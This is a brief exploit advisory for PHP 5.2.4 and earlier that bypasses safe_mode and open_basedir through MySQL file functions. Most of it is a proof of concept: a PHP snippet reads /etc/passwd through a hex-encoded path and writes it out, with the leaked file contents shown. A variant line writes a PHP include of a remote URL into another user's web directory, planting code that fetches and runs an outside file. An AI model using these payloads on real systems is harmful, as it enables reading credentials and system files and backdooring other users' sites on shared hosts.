Application: PHP <=5.2.4 Web Site: http://php.net Platform: unix Bug: safemode & open_basedir bypass ------------------------------------------------------- 1) Introduction 2) Bug 3) Proof of concept 4) Credits =========== 1) Introduction =========== "PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML." ====== 2) Bug ====== various mysql functions safemode & open_basedir bypass ( LOAD_FILE , INTO DUMPFILE , INTO OUTFILE ) ===== 3)Proof of concept ===== /* debian:~# php -v PHP 5.2.4 (cli) (built: Aug 31 2007 16:39:15) Copyright (c) 1997-2007 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies */ debian:/test/mysql# ls debian:/test/mysql# <?php mysql_connect("localhost", "granted_user","something"); mysql_query("select load_file(0x2F6574632F706173737764)into dumpfile'/test/123.txt';"); ?> debian:/test/mysql# ls 123.txt debian:/test/mysql# debian:/test/mysql# vim 123.txt root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync variant : select '<?include("http://site.com/hello.html")?>' into dumpfile '/home/NOT_MY_USER/www/index1.php'; ===== 4)Credits & greets ===== laurent gaffi laurent.gaffi@gmail.com greets: Mattias Bengtsson (see http://php.net).